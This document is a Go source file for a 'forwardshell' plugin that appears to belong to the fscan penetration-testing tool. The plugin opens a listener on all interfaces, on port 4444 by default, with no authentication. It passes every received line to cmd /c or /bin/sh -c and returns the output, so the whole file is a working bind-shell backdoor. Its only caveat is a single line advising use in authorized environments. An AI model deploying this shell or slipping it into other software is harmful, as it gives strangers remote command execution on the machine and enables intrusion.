package forwardshell

import (
	"bufio"
	"context"
	"fmt"
	"net"
	"os"
	"os/exec"
	"runtime"
	"strings"
	"time"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// ForwardShellPlugin 正向Shell插件 - 使用简化架构
type ForwardShellPlugin struct {
	*local.BaseLocalPlugin
	port     int
	listener net.Listener
}

// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
func NewForwardShellPlugin() *ForwardShellPlugin {
	// 从全局参数获取正向Shell端口
	port := common.ForwardShellPort
	if port <= 0 {
		port = 4444 // 默认端口
	}

	metadata := &base.PluginMetadata{
		Name:        "forwardshell",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "本地正向Shell服务器插件，在指定端口提供Shell访问",
		Category:    "local",
		Tags:        []string{"local", "shell", "remote", "access"},
		Protocols:   []string{"local"},
	}

	plugin := &ForwardShellPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		port:            port,
	}

	// 设置支持的平台（支持Windows、Linux和macOS）
	plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
	// 不需要特殊权限（除非需要绑定低端口）
	plugin.SetRequiresPrivileges(port < 1024)

	return plugin
}

// Initialize 初始化插件
func (p *ForwardShellPlugin) Initialize() error {
	// 调用基类初始化
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行正向Shell扫描 - 简化版本
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("启动正向Shell服务器...")
	
	// 启动正向Shell服务器
	common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
	
	// 直接在当前goroutine中运行，这样可以确保在设置ForwardShellActive后立即被主程序检测到
	err := p.startForwardShellServer(ctx, p.port)
	if err != nil {
		common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
		return &base.ScanResult{
			Success: false,
			Error:   err,
		}, nil
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "ForwardShell",
		Banner:  fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
		Extra: map[string]interface{}{
			"port":     p.port,
			"platform": runtime.GOOS,
			"service":  "shell",
			"status":   "completed",
		},
	}
	
	return result, nil
}

// startForwardShellServer 启动正向Shell服务器 - 核心实现
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
	// 监听指定端口
	listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
	if err != nil {
		return fmt.Errorf("监听端口失败: %v", err)
	}
	defer listener.Close()
	
	p.listener = listener
	common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
	
	// 设置正向Shell为活跃状态，告诉主程序保持运行
	common.ForwardShellActive = true
	defer func() {
		// 确保退出时清除活跃状态
		common.ForwardShellActive = false
	}()
	
	// 主循环处理连接
	for {
		select {
		case <-ctx.Done():
			common.LogBase("正向Shell服务器被上下文取消")
			return ctx.Err()
		default:
		}
		
		// 设置监听器超时，以便能响应上下文取消
		if tcpListener, ok := listener.(*net.TCPListener); ok {
			tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
		}
		
		conn, err := listener.Accept()
		if err != nil {
			// 检查是否是超时错误
			if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
				continue // 超时继续循环
			}
			common.LogError(fmt.Sprintf("接受连接失败: %v", err))
			continue
		}
		
		common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
		
		// 并发处理客户端连接
		go p.handleClient(conn)
	}
}

// handleClient 处理客户端连接
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
	defer clientConn.Close()
	
	// 发送欢迎信息
	welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
	clientConn.Write([]byte(welcome))
	
	// 创建命令处理器
	scanner := bufio.NewScanner(clientConn)
	
	for scanner.Scan() {
		command := strings.TrimSpace(scanner.Text())
		
		if command == "" {
			continue
		}
		
		if command == "exit" {
			clientConn.Write([]byte("Goodbye!\n"))
			common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
			break
		}
		
		// 执行命令并返回结果
		p.executeCommand(clientConn, command)
	}
	
	if err := scanner.Err(); err != nil {
		common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
	}
}

// executeCommand 执行命令并返回结果
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
	var cmd *exec.Cmd
	
	// 根据平台创建命令
	switch runtime.GOOS {
	case "windows":
		cmd = exec.Command("cmd", "/c", command)
	case "linux", "darwin":
		cmd = exec.Command("/bin/sh", "-c", command)
	default:
		conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
		return
	}
	
	// 设置命令超时
	ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
	defer cancel()
	cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
	
	// 执行命令并获取输出
	output, err := cmd.CombinedOutput()
	
	if ctx.Err() == context.DeadlineExceeded {
		conn.Write([]byte("命令执行超时\n"))
		return
	}
	
	if err != nil {
		conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
		return
	}
	
	// 发送命令输出
	if len(output) == 0 {
		conn.Write([]byte("(命令执行成功，无输出)\n"))
	} else {
		conn.Write(output)
		// 确保输出以换行符结尾
		if !strings.HasSuffix(string(output), "\n") {
			conn.Write([]byte("\n"))
		}
	}
	
	// 发送命令提示符
	prompt := p.getPrompt()
	conn.Write([]byte(prompt))
}

// getPrompt 获取平台特定的命令提示符
func (p *ForwardShellPlugin) getPrompt() string {
	hostname, _ := os.Hostname()
	username := os.Getenv("USER")
	if username == "" {
		username = os.Getenv("USERNAME") // Windows
	}
	if username == "" {
		username = "user"
	}
	
	switch runtime.GOOS {
	case "windows":
		return fmt.Sprintf("%s@%s> ", username, hostname)
	case "linux", "darwin":
		return fmt.Sprintf("%s@%s$ ", username, hostname)
	default:
		return fmt.Sprintf("%s@%s# ", username, hostname)
	}
}

// GetLocalData 获取正向Shell本地数据
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	
	// 获取系统信息
	data["plugin_type"] = "forwardshell"
	data["platform"] = runtime.GOOS
	data["arch"] = runtime.GOARCH
	data["port"] = p.port
	data["service"] = "shell"
	
	if hostname, err := os.Hostname(); err == nil {
		data["hostname"] = hostname
	}
	
	if homeDir, err := os.UserHomeDir(); err == nil {
		data["home_dir"] = homeDir
	}
	
	if workDir, err := os.Getwd(); err == nil {
		data["work_dir"] = workDir
	}
	
	return data, nil
}

// ExtractData 提取数据（正向Shell主要是服务功能）
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	return &base.ExploitResult{
		Success: true,
		Output:  fmt.Sprintf("正向Shell服务器运行完成，端口: %d", p.port),
		Data:    data,
		Extra: map[string]interface{}{
			"port":    p.port,
			"service": "shell",
			"status":  "completed",
		},
	}, nil
}

// GetInfo 获取插件信息
func (p *ForwardShellPlugin) GetInfo() string {
	var info strings.Builder
	
	info.WriteString("正向Shell服务器插件\n")
	info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
	info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
	info.WriteString("功能: 提供远程Shell访问，支持命令执行\n")
	info.WriteString("协议: TCP，基于文本的命令交互\n")
	info.WriteString("实现方式: 纯Go原生，无外部依赖\n")
	info.WriteString("安全提示: 仅在授权环境中使用，建议配合防火墙限制访问\n")
	
	return info.String()
}

// RegisterForwardShellPlugin 注册正向Shell插件
func RegisterForwardShellPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "forwardshell",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "本地正向Shell服务器插件，在指定端口提供Shell访问",
			Category:    "local",
			Tags:        []string{"forwardshell", "local", "shell", "remote"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewForwardShellPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("forwardshell", factory)
}

// init 插件注册函数
func init() {
	RegisterForwardShellPlugin()
}